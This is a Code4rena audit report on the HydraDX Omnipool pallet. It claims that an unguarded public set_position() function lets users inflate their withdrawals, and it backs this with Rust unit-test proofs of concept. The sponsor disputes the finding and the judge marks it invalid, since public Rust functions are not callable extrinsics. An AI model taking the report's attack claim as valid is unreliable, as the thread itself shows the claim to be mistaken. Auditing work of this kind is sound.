No access control on set_position() public function in Omnipool contract can lead to user gaining more funds

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/main/HydraDX-node/pallets/omnipool/src/lib.rs#L1958-L1961

Vulnerability details

Impact

In the omnipool/src/lib.rs , the set_position() function is a public function defined in a Pallet implementation. Since this function is clearly marked public, it can be called outside the pallet. Hence any user or smart contract within the runtime can make a call to set_position() and insert or update position with arbitrary position data.

The function inserts or updates position with given position data.

With a combination of other vulnerable functions, a malicious user can manipulate the state of their position to their advantage to receive more funds in a remove_liquidity call.

Proof of Concept

https://github.com/code-423n4/2024-02-hydradx/blob/main/HydraDX-node/pallets/omnipool/src/lib.rs#L1958-L1961

In the PoC below, for a normal transaction, LP1 is expected to have a balance of 4840 tokens of the registered asset, and 203.921568627449 amount of LRNA

#[test]
fn normal_transaction_without_manipulation() {
    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (Omnipool::protocol_account(), DAI, 1000 * ONE),
            (Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
            (LP3, 1_000, 100 * ONE),
            (LP1, 1_000, 5000 * ONE),
            (LP2, DAI, 50000 * ONE),
        ])
        .with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
        .with_token(1_000, FixedU128::from_float(0.65), LP3, 100 * ONE)
        .build()
        .execute_with(|| {
            let liq_added = 400 * ONE;

            let current_position_id = <NextPositionId<Test>>::get();

            assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));

            assert_ok!(Omnipool::buy(
                RuntimeOrigin::signed(LP2),
                1_000,
                DAI,
                200 * ONE,
                500000 * ONE
            ));

            assert_balance!(Omnipool::protocol_account(), 1000, 300 * ONE);
            let expected_state = AssetReserveState {
                reserve: 300 * ONE,
                hub_reserve: 541666666666667,
                shares: 500000000000000,
                protocol_shares: Balance::zero(),
                cap: DEFAULT_WEIGHT_CAP,
                tradable: Tradability::default(),
            };
            assert_asset_state!(1_000, expected_state);

            assert_ok!(Omnipool::remove_liquidity(
                RuntimeOrigin::signed(LP1),
                current_position_id,
                liq_added
            ));
            assert_balance!(Omnipool::protocol_account(), 1000, 60 * ONE);
            assert_balance!(LP1, 1000, 4_840_000_000_000_000);
            assert_balance!(LP1, LRNA, 203_921_568_627_449);

            assert_pool_state!(10391666666666667, 64723183391003641, SimpleImbalance::default());
        });
}

but when the LP1 calls Omnipool::set_position() function with the arbritary position data, the balance of the registered token for LP1 user will be 4900 amount of tokens and 222.852003235832 amount of LRNA token

#[test]
fn set_position_called_by_any_user_to_get_more_funds() {
    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (Omnipool::protocol_account(), DAI, 1000 * ONE),
            (Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
            (LP3, 1_000, 100 * ONE),
            (LP1, 1_000, 5000 * ONE),
            (LP2, DAI, 50000 * ONE),
        ])
        .with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
        .with_token(1_000, FixedU128::from_float(0.65), LP3, 100 * ONE)
        .build()
        .execute_with(|| {
            let liq_added = 400 * ONE;

            let current_position_id = <NextPositionId<Test>>::get();

            assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));
            // assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP3), 1_000, liq_added));

            assert_ok!(Omnipool::buy(
                RuntimeOrigin::signed(LP2),
                1_000,
                DAI,
                200 * ONE,
                500000 * ONE
            ));

            assert_balance!(Omnipool::protocol_account(), 1000, 300 * ONE);
            let expected_state = AssetReserveState {
                reserve: 300 * ONE,
                hub_reserve: 541666666666667,
                shares: 500000000000000,
                protocol_shares: Balance::zero(),
                cap: DEFAULT_WEIGHT_CAP,
                tradable: Tradability::default(),
            };
            assert_asset_state!(1_000, expected_state);

            let arbitrary_liq_amount = 500 * ONE;

            let lp_position = Position::<Balance, AssetId> {
                asset_id: 1_000,
                amount: arbitrary_liq_amount,
                shares: arbitrary_liq_amount,
                price: (2560 * ONE, 3400 * ONE),
            };

            assert_ok!(Omnipool::set_position(
                current_position_id,
                &lp_position
            ));

            assert_ok!(Omnipool::remove_liquidity(
                RuntimeOrigin::signed(LP1),
                current_position_id,
                arbitrary_liq_amount
            ));
            assert_balance!(Omnipool::protocol_account(), 1000, 0);
            assert_balance!(LP1, 1000, 4_900_000_000_000_000);
            assert_balance!(LP1, LRNA, 222_852_003_235_832);

            assert_pool_state!(10283333333333333, 64048442906574570, SimpleImbalance::default());
        });
}

This also affects the TVL of the pool.

Tools Used

Manual review

Recommended Mitigation Steps

Add an access control check to ensure the function can only be called by authorized accounts. If function is not necessary, remove it.

Assessed type

Access Control

[c4-pre-sort]

0xRobocop marked the issue as sufficient quality report

[c4-pre-sort]

0xRobocop marked the issue as primary issue

[c4-sponsor]

enthusiastmartin (sponsor) disputed

[enthusiastmartin]

No issue at all. That's how substrate works with public functions.

Why would you bother with this - if you can call Balances::transfer, which is also public function.

[OpenCoreCH]

See #131

[c4-judge]

OpenCoreCH marked the issue as unsatisfactory: Invalid